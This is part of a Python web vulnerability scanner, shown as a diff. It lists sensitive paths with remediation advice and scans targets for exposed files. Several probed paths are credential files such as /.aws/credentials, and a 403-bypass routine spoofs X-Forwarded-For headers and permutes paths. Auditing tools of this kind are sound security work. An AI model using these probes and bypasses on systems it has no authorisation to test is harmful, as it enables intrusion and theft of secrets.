"Remove all backup files from the web root. Store backups in secure, non-public locations."),
|
| 156 |
+
|
| 157 |
+
("/backup.sql", "SQL Backup Exposed", "Critical", 9.8,
|
| 158 |
+
"A SQL database dump is publicly downloadable, exposing all database contents.",
|
| 159 |
+
"Remove SQL dumps from the web root immediately. Store in encrypted, access-controlled storage."),
|
| 160 |
+
|
| 161 |
+
("/db.sql", "SQL Database Dump Exposed", "Critical", 9.8,
|
| 162 |
+
"A SQL database dump file is publicly accessible.",
|
| 163 |
+
"Delete immediately and audit what data was exposed. Report to your data protection authority if personal data is involved."),
|
| 164 |
+
|
| 165 |
+
("/backup.tar.gz", "Tar Backup Exposed", "Critical", 9.1,
|
| 166 |
+
"A tar.gz backup archive is publicly downloadable.",
|
| 167 |
+
"Remove all backup archives from web root."),
|
| 168 |
+
|
| 169 |
+
("/backup.bak", "Backup File Exposed", "Critical", 9.1,
|
| 170 |
+
"A backup file is publicly accessible.",
|
| 171 |
+
"Remove all .bak files from web root."),
|
| 172 |
+
|
| 173 |
+
("/database.sql", "Database Dump Exposed", "Critical", 9.8,
|
| 174 |
+
"Database dump file is publicly accessible.",
|
| 175 |
+
"Remove immediately and audit data exposure."),
|
| 176 |
+
|
| 177 |
+
("/dump.sql", "Database Dump Exposed", "Critical", 9.8,
|
| 178 |
+
"Database dump file is publicly accessible.",
|
| 179 |
+
"Remove immediately."),
|
| 180 |
+
|
| 181 |
+
("/.backup", "Backup Directory Exposed", "Critical", 9.1,
|
| 182 |
+
"A backup directory is publicly accessible.",
|
| 183 |
+
"Remove backup directories from web root."),
|
| 184 |
+
|
| 185 |
+
("/backups/", "Backups Directory Exposed", "Critical", 9.1,
|
| 186 |
+
"Backups directory is publicly accessible.",
|
| 187 |
+
"Remove backups directory from web root."),
|
| 188 |
+
|
| 189 |
+
# Debug & Logs
|
| 190 |
+
("/server.log", "Server Log File Exposed", "Medium", 5.3,
|
| 191 |
+
"A server log file is publicly readable, potentially revealing internal paths, errors, user data, and stack traces.",
|
| 192 |
+
"Ensure log files are stored outside the web root or protected by authentication."),
|
| 193 |
+
|
| 194 |
+
("/error.log", "Error Log Exposed", "Medium", 5.3,
|
| 195 |
+
"The application error log is publicly accessible, revealing internal application errors and stack traces.",
|
| 196 |
+
"Move log files outside the web root and ensure they are never publicly accessible."),
|
| 197 |
+
|
| 198 |
+
("/access.log", "Access Log Exposed", "Medium", 5.3,
|
| 199 |
+
"Access log file is publicly readable, potentially revealing user activity and internal paths.",
|
| 200 |
+
"Move access logs outside web root."),
|
| 201 |
+
|
| 202 |
+
("/debug.log", "Debug Log Exposed", "Medium", 5.3,
|
| 203 |
+
"Debug log file is publicly accessible, revealing detailed debugging information.",
|
| 204 |
+
"Remove debug logs from production."),
|
| 205 |
+
|
| 206 |
+
("/logs/", "Logs Directory Exposed", "Medium", 5.3,
|
| 207 |
+
"Logs directory is publicly accessible.",
|
| 208 |
+
"Move logs directory outside web root."),
|
| 209 |
+
|
| 210 |
+
("/phpinfo.php", "phpinfo() Page Exposed", "Medium", 5.3,
|
| 211 |
+
"A phpinfo() page reveals PHP configuration, extensions, environment variables, and server paths.",
|
| 212 |
+
"Delete phpinfo.php pages from production environments."),
|
| 213 |
+
|
| 214 |
+
("/info.php", "PHP Info Page Exposed", "Medium", 5.3,
|
| 215 |
+
"PHP info page reveals server configuration.",
|
| 216 |
+
"Remove info.php from production."),
|
| 217 |
+
|
| 218 |
+
("/test.php", "Test Script Exposed", "Medium", 5.3,
|
| 219 |
+
"Test script is publicly accessible, potentially revealing application internals.",
|
| 220 |
+
"Remove test scripts from production."),
|
| 221 |
+
|
| 222 |
+
("/test/", "Test Directory Exposed", "Medium", 5.3,
|
| 223 |
+
"Test directory is publicly accessible.",
|
| 224 |
+
"Remove test directories from production."),
|
| 225 |
+
|
| 226 |
+
# API & Metadata
|
| 227 |
+
("/api/swagger.json", "Swagger API Docs Exposed", "Low", 3.1,
|
| 228 |
+
"Swagger/OpenAPI documentation is publicly accessible, mapping all API endpoints and their parameters.",
|
| 229 |
+
"Restrict API documentation access to authenticated users or trusted IP ranges in production."),
|
| 230 |
+
|
| 231 |
+
("/api/openapi.json", "OpenAPI Docs Exposed", "Low", 3.1,
|
| 232 |
+
"OpenAPI documentation is publicly accessible.",
|
| 233 |
+
"Restrict access to API documentation."),
|
| 234 |
+
|
| 235 |
+
("/api/docs", "API Documentation Exposed", "Low", 3.1,
|
| 236 |
+
"API documentation is publicly accessible.",
|
| 237 |
+
"Restrict access to API docs."),
|
| 238 |
+
|
| 239 |
+
("/api/v1/users", "Users API Endpoint Exposed", "Medium", 5.3,
|
| 240 |
+
"A user listing API endpoint is publicly accessible without authentication.",
|
| 241 |
+
"Ensure all API endpoints require proper authentication and authorisation."),
|
| 242 |
+
|
| 243 |
+
("/api/users", "Users API Exposed", "Medium", 5.3,
|
| 244 |
+
"Users API endpoint is publicly accessible.",
|
| 245 |
+
"Implement authentication on all user endpoints."),
|
| 246 |
+
|
| 247 |
+
("/graphql", "GraphQL Endpoint Exposed", "Low", 3.1,
|
| 248 |
+
"GraphQL endpoint is publicly accessible.",
|
| 249 |
+
"Implement authentication on GraphQL endpoint."),
|
| 250 |
+
|
| 251 |
+
("/.DS_Store", ".DS_Store File Exposed", "Low", 3.1,
|
| 252 |
+
".DS_Store files (macOS metadata) can reveal directory structure and file names on the server.",
|
| 253 |
+
"Add .DS_Store to .gitignore and block access:\n Nginx: location ~ /\\.DS_Store { deny all; }"),
|
| 254 |
+
|
| 255 |
+
("/Thumbs.db", "Thumbs.db Exposed", "Low", 3.1,
|
| 256 |
+
"Windows thumbnail database file reveals file structure.",
|
| 257 |
+
"Block access to Thumbs.db files."),
|
| 258 |
+
|
| 259 |
+
# Cloud & CI/CD
|
| 260 |
+
("/.aws/", "AWS Config Directory Exposed", "Critical", 9.8,
|
| 261 |
+
"AWS configuration directory is accessible, potentially containing credentials.",
|
| 262 |
+
"Remove .aws directory from web root."),
|
| 263 |
+
|
| 264 |
+
("/.aws/credentials", "AWS Credentials Exposed", "Critical", 9.8,
|
| 265 |
+
"AWS credentials file is publicly accessible.",
|
| 266 |
+
"Remove immediately and rotate all AWS credentials."),
|
| 267 |
+
|
| 268 |
+
("/.kube/", "Kubernetes Config Exposed", "Critical", 9.8,
|
| 269 |
+
"Kubernetes configuration directory is accessible.",
|
| 270 |
+
"Remove .kube directory from web root."),
|
| 271 |
+
|
| 272 |
+
("/.github/", "GitHub Config Exposed", "High", 7.5,
|
| 273 |
+
"GitHub configuration directory is accessible.",
|
| 274 |
+
"Remove .github directory from web root."),
|
| 275 |
+
|
| 276 |
+
("/.gitlab-ci.yml", "GitLab CI Config Exposed", "Medium", 5.3,
|
| 277 |
+
"GitLab CI configuration is accessible, potentially revealing CI/CD secrets.",
|
| 278 |
+
"Remove CI/CD configuration files from web root."),
|
| 279 |
+
|
| 280 |
+
("/.travis.yml", "Travis CI Config Exposed", "Medium", 5.3,
|
| 281 |
+
"Travis CI configuration is accessible.",
|
| 282 |
+
"Remove CI configuration files from web root."),
|
| 283 |
+
|
| 284 |
+
("/docker-compose.yml", "Docker Compose Exposed", "Medium", 5.3,
|
| 285 |
+
"Docker Compose configuration is accessible, potentially revealing service configuration.",
|
| 286 |
+
"Remove Docker configuration files from web root."),
|
| 287 |
+
|
| 288 |
+
("/Dockerfile", "Dockerfile Exposed", "Medium", 5.3,
|
| 289 |
+
"Dockerfile is publicly accessible.",
|
| 290 |
+
"Remove Dockerfile from web root."),
|
| 291 |
+
|
| 292 |
+
("/jenkinsfile", "Jenkinsfile Exposed", "Medium", 5.3,
|
| 293 |
+
"Jenkins CI configuration is accessible.",
|
| 294 |
+
"Remove Jenkinsfile from web root."),
|
| 295 |
+
|
| 296 |
+
# Development Tools
|
| 297 |
+
("/composer.json", "Composer Config Exposed", "Medium", 5.3,
|
| 298 |
+
"PHP Composer configuration is accessible, revealing package dependencies.",
|
| 299 |
+
"Move composer.json outside web root."),
|
| 300 |
+
|
| 301 |
+
("/composer.lock", "Composer Lock Exposed", "Low", 3.1,
|
| 302 |
+
"Composer lock file is accessible.",
|
| 303 |
+
"Move composer.lock outside web root."),
|
| 304 |
+
|
| 305 |
+
("/package.json", "NPM Config Exposed", "Medium", 5.3,
|
| 306 |
+
"NPM package.json is accessible, revealing dependencies and scripts.",
|
| 307 |
+
"Move package.json outside web root."),
|
| 308 |
+
|
| 309 |
+
("/package-lock.json", "NPM Lock Exposed", "Low", 3.1,
|
| 310 |
+
"NPM lock file is accessible.",
|
| 311 |
+
"Move package-lock.json outside web root."),
|
| 312 |
+
|
| 313 |
+
("/Gemfile", "Ruby Gemfile Exposed", "Medium", 5.3,
|
| 314 |
+
"Ruby Gemfile is accessible, revealing dependencies.",
|
| 315 |
+
"Move Gemfile outside web root."),
|
| 316 |
+
|
| 317 |
+
("/Gemfile.lock", "Gemfile Lock Exposed", "Low", 3.1,
|
| 318 |
+
"Ruby Gemfile.lock is accessible.",
|
| 319 |
+
"Move Gemfile.lock outside web root."),
|
| 320 |
+
|
| 321 |
+
("/requirements.txt", "Python Requirements Exposed", "Medium", 5.3,
|
| 322 |
+
"Python requirements.txt is accessible, revealing dependencies.",
|
| 323 |
+
"Move requirements.txt outside web root."),
|
| 324 |
+
|
| 325 |
+
("/Pipfile", "Pipfile Exposed", "Medium", 5.3,
|
| 326 |
+
"Python Pipfile is accessible.",
|
| 327 |
+
"Move Pipfile outside web root."),
|
| 328 |
+
|
| 329 |
+
("/go.mod", "Go Module Exposed", "Medium", 5.3,
|
| 330 |
+
"Go module file is accessible.",
|
| 331 |
+
"Move go.mod outside web root."),
|
| 332 |
+
|
| 333 |
+
# CMS Specific
|
| 334 |
+
("/wp-content/", "WordPress Content Exposed", "Low", 3.1,
|
| 335 |
+
"WordPress wp-content directory is accessible.",
|
| 336 |
+
"Restrict access to wp-content."),
|
| 337 |
+
|
| 338 |
+
("/wp-includes/", "WordPress Includes Exposed", "Low", 3.1,
|
| 339 |
+
"WordPress wp-includes directory is accessible.",
|
| 340 |
+
"Restrict access to wp-includes."),
|
| 341 |
+
|
| 342 |
+
("/wp-content/uploads/", "WordPress Uploads Exposed", "Low", 3.1,
|
| 343 |
+
"WordPress uploads directory is accessible.",
|
| 344 |
+
"Ensure uploads directory has proper permissions."),
|
| 345 |
+
|
| 346 |
+
("/drupal/", "Drupal Directory Exposed", "Low", 3.1,
|
| 347 |
+
"Drupal directory is accessible.",
|
| 348 |
+
"Restrict access to Drupal directories."),
|
| 349 |
+
|
| 350 |
+
("/sites/default/files/", "Drupal Files Exposed", "Low", 3.1,
|
| 351 |
+
"Drupal files directory is accessible.",
|
| 352 |
+
"Restrict access to files directory."),
|
| 353 |
+
|
| 354 |
+
("/magento/", "Magento Directory Exposed", "Low", 3.1,
|
| 355 |
+
"Magento directory is accessible.",
|
| 356 |
+
"Restrict access to Magento directories."),
|
| 357 |
+
|
| 358 |
+
("/media/", "Media Directory Exposed", "Low", 3.1,
|
| 359 |
+
"Media directory is accessible.",
|
| 360 |
+
"Ensure media directory has proper permissions."),
|
| 361 |
+
|
| 362 |
+
("/static/", "Static Files Exposed", "Low", 3.1,
|
| 363 |
+
"Static files directory is accessible.",
|
| 364 |
+
"Ensure static directory has proper permissions."),
|
| 365 |
+
|
| 366 |
+
("/public/", "Public Directory Exposed", "Low", 3.1,
|
| 367 |
+
"Public directory is accessible.",
|
| 368 |
+
"Review contents of public directory."),
|
| 369 |
+
|
| 370 |
+
("/tmp/", "Temp Directory Exposed", "Medium", 5.3,
|
| 371 |
+
"Temporary directory is accessible.",
|
| 372 |
+
"Remove temp directory from web root."),
|
| 373 |
+
|
| 374 |
+
("/temp/", "Temp Directory Exposed", "Medium", 5.3,
|
| 375 |
+
"Temporary directory is accessible.",
|
| 376 |
+
"Remove temp directory from web root."),
|
| 377 |
+
|
| 378 |
+
("/cache/", "Cache Directory Exposed", "Medium", 5.3,
|
| 379 |
+
"Cache directory is accessible.",
|
| 380 |
+
"Restrict access to cache directory."),
|
| 381 |
+
|
| 382 |
+
("/storage/", "Storage Directory Exposed", "Medium", 5.3,
|
| 383 |
+
"Storage directory is accessible.",
|
| 384 |
+
"Restrict access to storage directory."),
|
| 385 |
+
|
| 386 |
+
("/uploads/", "Uploads Directory Exposed", "Medium", 5.3,
|
| 387 |
+
"Uploads directory is accessible.",
|
| 388 |
+
"Ensure uploads directory has proper permissions and restrictions."),
|
| 389 |
+
|
| 390 |
+
("/files/", "Files Directory Exposed", "Medium", 5.3,
|
| 391 |
+
"Files directory is accessible.",
|
| 392 |
+
"Restrict access to files directory."),
|
| 393 |
+
|
| 394 |
+
("/install.php", "Install Script Exposed", "High", 7.5,
|
| 395 |
+
"Installation script is publicly accessible.",
|
| 396 |
+
"Remove install.php from production."),
|
| 397 |
+
|
| 398 |
+
("/install/", "Install Directory Exposed", "High", 7.5,
|
| 399 |
+
"Installation directory is accessible.",
|
| 400 |
+
"Remove install directory from production."),
|
| 401 |
+
|
| 402 |
+
("/setup.php", "Setup Script Exposed", "High", 7.5,
|
| 403 |
+
"Setup script is publicly accessible.",
|
| 404 |
+
"Remove setup.php from production."),
|
| 405 |
+
|
| 406 |
+
("/upgrade.php", "Upgrade Script Exposed", "High", 7.5,
|
| 407 |
+
"Upgrade script is publicly accessible.",
|
| 408 |
+
"Remove upgrade.php from production."),
|
| 409 |
+
|
| 410 |
+
("/maintenance.php", "Maintenance Script Exposed", "Medium", 5.3,
|
| 411 |
+
"Maintenance script is publicly accessible.",
|
| 412 |
+
"Restrict access to maintenance scripts."),
|
| 413 |
+
|
| 414 |
+
("/robots.txt", "Robots.txt Exposed", "Low", 3.1,
|
| 415 |
+
"Robots.txt is accessible, revealing site structure.",
|
| 416 |
+
"Review robots.txt for information disclosure."),
|
| 417 |
+
|
| 418 |
+
("/sitemap.xml", "Sitemap Exposed", "Low", 3.1,
|
| 419 |
+
"Sitemap is accessible, revealing site structure.",
|
| 420 |
+
"Review sitemap for sensitive information."),
|
| 421 |
+
|
| 422 |
+
("/crossdomain.xml", "Crossdomain Policy Exposed", "Low", 3.1,
|
| 423 |
+
"Crossdomain policy file is accessible.",
|
| 424 |
+
"Review crossdomain policy for security."),
|
| 425 |
+
|
| 426 |
+
("/clientaccesspolicy.xml", "Silverlight Policy Exposed", "Low", 3.1,
|
| 427 |
+
"Silverlight client access policy is accessible.",
|
| 428 |
+
"Review client access policy."),
|
| 429 |
+
|
| 430 |
+
("/.well-known/", "Well-Known Directory Exposed", "Low", 3.1,
|
| 431 |
+
"Well-known directory is accessible.",
|
| 432 |
+
"Review .well-known directory contents."),
|
| 433 |
+
|
| 434 |
+
("/.well-known/acme-challenge/", "ACME Challenge Exposed", "Low", 3.1,
|
| 435 |
+
"ACME challenge directory is accessible.",
|
| 436 |
+
"Ensure ACME challenge directory is properly secured."),
|
| 437 |
+
|
| 438 |
+
# Additional paths (30+ more)
|
| 439 |
+
("/login", "Login Page Exposed", "Low", 3.1,
|
| 440 |
+
"A login page is publicly accessible.",
|
| 441 |
+
"Implement rate limiting and account lockout."),
|
| 442 |
+
|
| 443 |
+
("/signup", "Signup Page Exposed", "Low", 3.1,
|
| 444 |
+
"A registration page is publicly accessible.",
|
| 445 |
+
"Implement CAPTCHA and email verification."),
|
| 446 |
+
|
| 447 |
+
("/register", "Registration Exposed", "Low", 3.1,
|
| 448 |
+
"A registration page is publicly accessible.",
|
| 449 |
+
"Implement CAPTCHA and email verification."),
|
| 450 |
+
|
| 451 |
+
("/api", "API Endpoint Exposed", "Low", 3.1,
|
| 452 |
+
"An API endpoint is publicly accessible.",
|
| 453 |
+
"Implement authentication on all API endpoints."),
|
| 454 |
+
|
| 455 |
+
("/api/", "API Directory Exposed", "Low", 3.1,
|
| 456 |
+
"API directory listing may be enabled.",
|
| 457 |
+
"Disable directory listing on API directories."),
|
| 458 |
+
|
| 459 |
+
("/api/v1", "API v1 Endpoint Exposed", "Low", 3.1,
|
| 460 |
+
"API version 1 endpoint is publicly accessible.",
|
| 461 |
+
"Implement authentication and rate limiting."),
|
| 462 |
+
|
| 463 |
+
("/api/v2", "API v2 Endpoint Exposed", "Low", 3.1,
|
| 464 |
+
"API version 2 endpoint is publicly accessible.",
|
| 465 |
+
"Implement authentication and rate limiting."),
|
| 466 |
+
|
| 467 |
+
("/dev", "Development Interface Exposed", "High", 7.5,
|
| 468 |
+
"A development interface is publicly accessible.",
|
| 469 |
+
"Restrict dev interfaces to internal networks."),
|
| 470 |
+
|
| 471 |
+
("/staging", "Staging Environment Exposed", "High", 7.5,
|
| 472 |
+
"A staging environment is publicly accessible. Staging often has weaker security.",
|
| 473 |
+
"Restrict staging access to internal networks."),
|
| 474 |
+
|
| 475 |
+
("/health", "Health Check Exposed", "Low", 3.1,
|
| 476 |
+
"A health check endpoint is publicly accessible.",
|
| 477 |
+
"Restrict health checks to internal monitoring systems."),
|
| 478 |
+
|
| 479 |
+
("/healthz", "Health Check Exposed", "Low", 3.1,
|
| 480 |
+
"A health check endpoint is publicly accessible.",
|
| 481 |
+
"Restrict health checks to internal monitoring systems."),
|
| 482 |
+
|
| 483 |
+
("/actuator", "Spring Boot Actuator Exposed", "High", 7.5,
|
| 484 |
+
"Spring Boot Actuator endpoints are exposed, revealing application internals, metrics, and environment.",
|
| 485 |
+
"Disable Actuator in production or secure with authentication:\n management.endpoints.web.exposure.exclude=*"),
|
| 486 |
+
|
| 487 |
+
("/actuator/health", "Spring Boot Health Exposed", "Low", 3.1,
|
| 488 |
+
"Spring Boot health endpoint is accessible.",
|
| 489 |
+
"Restrict Actuator endpoints to internal networks."),
|
| 490 |
+
|
| 491 |
+
("/actuator/env", "Spring Boot Env Exposed", "Critical", 9.8,
|
| 492 |
+
"Spring Boot environment endpoint exposes all environment variables including secrets.",
|
| 493 |
+
"Disable sensitive Actuator endpoints in production."),
|
| 494 |
+
|
| 495 |
+
("/actuator/actuator", "Spring Boot Actuator Exposed", "High", 7.5,
|
| 496 |
+
"Spring Boot Actuator is exposed.",
|
| 497 |
+
"Secure Actuator endpoints."),
|
| 498 |
+
|
| 499 |
+
("/swagger-ui.html", "Swagger UI Exposed", "Medium", 5.3,
|
| 500 |
+
"Swagger UI documentation is publicly accessible.",
|
| 501 |
+
"Restrict Swagger UI to internal networks."),
|
| 502 |
+
|
| 503 |
+
("/swagger/", "Swagger Endpoint Exposed", "Medium", 5.3,
|
| 504 |
+
"Swagger API documentation endpoint is accessible.",
|
| 505 |
+
"Restrict Swagger to authenticated users."),
|
| 506 |
+
|
| 507 |
+
("/api/swagger", "API Swagger Exposed", "Medium", 5.3,
|
| 508 |
+
"API Swagger documentation is accessible.",
|
| 509 |
+
"Restrict Swagger to internal networks."),
|
| 510 |
+
|
| 511 |
+
("/api/v1/swagger", "API v1 Swagger Exposed", "Medium", 5.3,
|
| 512 |
+
"API version 1 Swagger docs are accessible.",
|
| 513 |
+
"Restrict Swagger to internal networks."),
|
| 514 |
+
|
| 515 |
+
("/config/", "Config Directory Exposed", "High", 7.5,
|
| 516 |
+
"Configuration directory is accessible, potentially exposing config files.",
|
| 517 |
+
"Restrict access to configuration directories."),
|
| 518 |
+
|
| 519 |
+
("/config.js", "JS Config Exposed", "High", 7.5,
|
| 520 |
+
"JavaScript configuration file is accessible, potentially exposing API keys.",
|
| 521 |
+
"Move configuration from JS files to server-side."),
|
| 522 |
+
|
| 523 |
+
("/config.json", "JSON Config Exposed", "High", 7.5,
|
| 524 |
+
"JSON configuration file is publicly accessible.",
|
| 525 |
+
"Restrict access to configuration files."),
|
| 526 |
+
|
| 527 |
+
("/configuration", "Configuration Endpoint Exposed", "High", 7.5,
|
| 528 |
+
"Configuration endpoint is publicly accessible.",
|
| 529 |
+
"Restrict configuration endpoints."),
|
| 530 |
+
|
| 531 |
+
("/debug", "Debug Endpoint Exposed", "Medium", 5.3,
|
| 532 |
+
"A debug endpoint is publicly accessible, revealing application internals.",
|
| 533 |
+
"Remove debug endpoints from production."),
|
| 534 |
+
|
| 535 |
+
("/telescope", "Laravel Telescope Exposed", "High", 7.5,
|
| 536 |
+
"Laravel Telescope debug dashboard is publicly accessible.",
|
| 537 |
+
"Restrict Telescope access in production."),
|
| 538 |
+
|
| 539 |
+
("/vapor", "Laravel Vapor Exposed", "Medium", 5.3,
|
| 540 |
+
"Laravel Vapor UI is publicly accessible.",
|
| 541 |
+
"Restrict Vapor access to authorized users."),
|
| 542 |
+
|
| 543 |
+
("/nova", "Laravel Nova Exposed", "Medium", 5.3,
|
| 544 |
+
"Laravel Nova admin panel is publicly accessible.",
|
| 545 |
+
"Restrict Nova access to authorized IPs."),
|
| 546 |
+
|
| 547 |
+
("/horizon", "Laravel Horizon Exposed", "Medium", 5.3,
|
| 548 |
+
"Laravel Horizon queue monitoring is publicly accessible.",
|
| 549 |
+
"Restrict Horizon access to authorized users."),
|
| 550 |
+
|
| 551 |
+
("/queues", "Queue Manager Exposed", "Medium", 5.3,
|
| 552 |
+
"Queue management interface is publicly accessible.",
|
| 553 |
+
"Restrict queue management interfaces."),
|
| 554 |
+
|
| 555 |
+
("/metrics", "Metrics Endpoint Exposed", "Low", 3.1,
|
| 556 |
+
"Application metrics endpoint is publicly accessible.",
|
| 557 |
+
"Restrict metrics to internal monitoring."),
|
| 558 |
+
|
| 559 |
+
("/prometheus", "Prometheus Metrics Exposed", "Low", 3.1,
|
| 560 |
+
"Prometheus metrics endpoint is publicly accessible.",
|
| 561 |
+
"Restrict Prometheus metrics to internal networks."),
|
| 562 |
+
|
| 563 |
+
("/sitemap", "Sitemap Endpoint Exposed", "Low", 3.1,
|
| 564 |
+
"Sitemap endpoint is accessible.",
|
| 565 |
+
"Review sitemap for sensitive URLs."),
|
| 566 |
+
|
| 567 |
+
("/sitemap_index.xml", "Sitemap Index Exposed", "Low", 3.1,
|
| 568 |
+
"Sitemap index file is accessible.",
|
| 569 |
+
"Review sitemap for sensitive information."),
|
| 570 |
+
|
| 571 |
+
("/cgi-bin/", "CGI Bin Exposed", "High", 7.5,
|
| 572 |
+
"CGI bin directory is accessible, potentially allowing remote code execution.",
|
| 573 |
+
"Disable CGI if not needed. Restrict access to /cgi-bin/."),
|
| 574 |
+
|
| 575 |
+
("/cgi-bin/test.cgi", "CGI Test Script Exposed", "High", 7.5,
|
| 576 |
+
"CGI test script is publicly accessible.",
|
| 577 |
+
"Remove test CGI scripts from production."),
|
| 578 |
+
|
| 579 |
+
("/.npmrc", "NPM RC Exposed", "Medium", 5.3,
|
| 580 |
+
"NPM configuration file is accessible, potentially containing registry auth tokens.",
|
| 581 |
+
"Remove .npmrc from web root."),
|
| 582 |
+
|
| 583 |
+
("/.yarnrc", "Yarn RC Exposed", "Medium", 5.3,
|
| 584 |
+
"Yarn configuration file is accessible.",
|
| 585 |
+
"Remove .yarnrc from web root."),
|
| 586 |
+
|
| 587 |
+
("/web.config", "IIS Web Config Exposed", "Medium", 5.3,
|
| 588 |
+
"IIS web.config configuration file is accessible.",
|
| 589 |
+
"Restrict access to web.config."),
|
| 590 |
+
|
| 591 |
+
("/web.xml", "Java Web XML Exposed", "Medium", 5.3,
|
| 592 |
+
"Java web.xml configuration file is accessible.",
|
| 593 |
+
"Restrict access to web.xml."),
|
| 594 |
+
|
| 595 |
+
("/struts/", "Apache Struts Exposed", "High", 7.5,
|
| 596 |
+
"Apache Struts framework endpoint is accessible.",
|
| 597 |
+
"Upgrade Struts to latest version."),
|
| 598 |
+
|
| 599 |
+
("/axis2/", "Axis2 Web Service Exposed", "Medium", 5.3,
|
| 600 |
+
"Apache Axis2 web service is accessible.",
|
| 601 |
+
"Restrict access to Axis2."),
|
| 602 |
+
|
| 603 |
+
("/ws/", "Web Service Exposed", "Medium", 5.3,
|
| 604 |
+
"Web service endpoint is accessible.",
|
| 605 |
+
"Restrict access to web services."),
|
| 606 |
+
|
| 607 |
+
("/soap/", "SOAP API Exposed", "Medium", 5.3,
|
| 608 |
+
"SOAP API endpoint is publicly accessible.",
|
| 609 |
+
"Implement authentication on SOAP endpoints."),
|
| 610 |
+
|
| 611 |
+
("/index.php", "PHP Index Exposed", "Low", 3.1,
|
| 612 |
+
"PHP index file is accessible.",
|
| 613 |
+
"Ensure proper configuration."),
|
| 614 |
+
|
| 615 |
+
("/index.html", "HTML Index Exposed", "Low", 3.1,
|
| 616 |
+
"HTML index file is accessible.",
|
| 617 |
+
"Ensure proper configuration."),
|
| 618 |
+
|
| 619 |
+
("/index.jsp", "JSP Index Exposed", "Low", 3.1,
|
| 620 |
+
"JSP index file is accessible.",
|
| 621 |
+
"Ensure proper configuration."),
|
| 622 |
+
|
| 623 |
+
("/default.aspx", "ASP.NET Default Exposed", "Low", 3.1,
|
| 624 |
+
"ASP.NET default page is accessible.",
|
| 625 |
+
"Ensure proper configuration."),
|
| 626 |
+
|
| 627 |
+
("/default.asp", "ASP Default Exposed", "Low", 3.1,
|
| 628 |
+
"ASP default page is accessible.",
|
| 629 |
+
"Ensure proper configuration."),
|
| 630 |
+
]
|
| 631 |
+
|
| 632 |
+
|
| 633 |
+
class DirectoryScanner(BaseScanner):
|
| 634 |
+
SCANNER_NAME = "Sensitive Directory & File Scanner"
|
| 635 |
+
_SCANNER_KEY = "directory"
|
| 636 |
+
|
| 637 |
+
def _bypass_403(self, url, path):
|
| 638 |
+
bypass_headers = [
|
| 639 |
+
{"X-Forwarded-For": "127.0.0.1"},
|
| 640 |
+
{"X-Originating-IP": "127.0.0.1"},
|
| 641 |
+
{"X-Remote-IP": "127.0.0.1"},
|
| 642 |
+
{"X-Custom-IP-Authorization": "127.0.0.1"},
|
| 643 |
+
{"Client-IP": "127.0.0.1"},
|
| 644 |
+
{"X-Forwarded-Host": "127.0.0.1"}
|
| 645 |
+
]
|
| 646 |
+
|
| 647 |
+
bypass_paths = [
|
| 648 |
+
path.replace("/", "//", 1),
|
| 649 |
+
path.replace("/", "/%2e/", 1),
|
| 650 |
+
f"{path}/.",
|
| 651 |
+
f"{path}%20",
|
| 652 |
+
f"{path}%00",
|
| 653 |
+
f"{path}..;/"
|
| 654 |
+
]
|
| 655 |
+
|
| 656 |
+
base = self.target.rstrip("/")
|
| 657 |
+
|
| 658 |
+
for headers in bypass_headers:
|
| 659 |
+
headers["User-Agent"] = "LarShield/2.0 Bypass"
|
| 660 |
+
body, status, _ = self._make_request(
|
| 661 |
+
url, headers=headers, timeout=5, return_response_obj=True,
|
| 662 |
+
)
|
| 663 |
+
if status == 200:
|
| 664 |
+
return True, f"Header Bypass ({list(headers.keys())[0]})"
|
| 665 |
+
|
| 666 |
+
for b_path in bypass_paths:
|
| 667 |
+
b_url = f"{base}{b_path}"
|
| 668 |
+
body, status, _ = self._make_request(
|
| 669 |
+
b_url, timeout=5, return_response_obj=True,
|
| 670 |
+
)
|
| 671 |
+
if status == 200:
|
| 672 |
+
return True, f"Path Permutation ({b_path})"
|
| 673 |
+
|
| 674 |
+
return False, None
|
| 675 |
+
|
| 676 |
+
def _classify_status(self, status):
|
| 677 |
+
if status == 200:
|
| 678 |
+
return "exposed"
|
| 679 |
+
elif status in (301, 302, 307, 308):
|
| 680 |
+
return "redirect"
|
| 681 |
+
elif status == 401:
|
| 682 |
+
return "auth_required"
|
| 683 |
+
elif status == 403:
|
| 684 |
+
return "forbidden"
|
| 685 |
+
elif status in (404, 410):
|
| 686 |
+
return "not_found"
|
| 687 |
+
elif status == 429:
|
| 688 |
+
return "rate_limited"
|
| 689 |
+
elif status in (500, 502, 503):
|
| 690 |
+
return "server_error"
|
| 691 |
+
return "unknown"
|
| 692 |
+
|
| 693 |
+
def run(self):
|
| 694 |
+
self.log("INFO", f"[DirScan] Scanning {len(SENSITIVE_PATHS)} sensitive paths on {self.domain}...")
|
| 695 |
+
exposed_count = 0
|
| 696 |
+
base = self.target.rstrip("/")
|
| 697 |
+
|
| 698 |
+
requests_list = []
|
| 699 |
+
for path, title, severity, cvss, description, remediation in SENSITIVE_PATHS:
|
| 700 |
+
url = f"{base}{path}"
|
| 701 |
+
req = {
|
| 702 |
+
"url": url,
|
| 703 |
+
"headers": {"User-Agent": "LarShield/2.0"},
|
| 704 |
+
"timeout": 6,
|
| 705 |
+
"_meta": (path, title, severity, cvss, description, remediation),
|
| 706 |
+
}
|
| 707 |
+
requests_list.append(req)
|
| 708 |
+
|
| 709 |
+
results = self._make_async_requests(requests_list, max_workers=20)
|
| 710 |
+
|
| 711 |
+
for req, body, status in results:
|
| 712 |
+
meta = req.get("_meta")
|
| 713 |
+
if not meta:
|
| 714 |
+
continue
|
| 715 |
+
path, title, severity, cvss, description, remediation = meta
|
| 716 |
+
url = req["url"]
|
| 717 |
+
|
| 718 |
+
classification = self._classify_status(status)
|
| 719 |
+
|
| 720 |
+
if classification == "exposed":
|
| 721 |
+
content_len = len(body) if body else 0
|
| 722 |
+
if content_len > 5:
|
| 723 |
+
# PHASE 1: Suppress if response is the site's SPA/404 catch-all
|
| 724 |
+
if self._is_baseline(status, body):
|
| 725 |
+
self.log("INFO", f"[DirScan] SUPPRESSED (baseline match, {content_len}B): {url}")
|
| 726 |
+
else:
|
| 727 |
+
lvl = "CRITICAL" if cvss >= 9.0 else "WARNING"
|
| 728 |
+
self.log(lvl, f"[DirScan] EXPOSED (HTTP {status}, {content_len}B): {url}")
|
| 729 |
+
self.add_vuln(
|
| 730 |
+
title=title, severity=severity, category="Exposed Files",
|
| 731 |
+
cvss_score=cvss,
|
| 732 |
+
description=f"{description}\n\nExposed at: {url}",
|
| 733 |
+
remediation=remediation,
|
| 734 |
+
evidence=f"HTTP {status}, {content_len} bytes",
|
| 735 |
+
response_details=f"HTTP {status} - {classification}",
|
| 736 |
+
confidence="Confirmed",
|
| 737 |
+
)
|
| 738 |
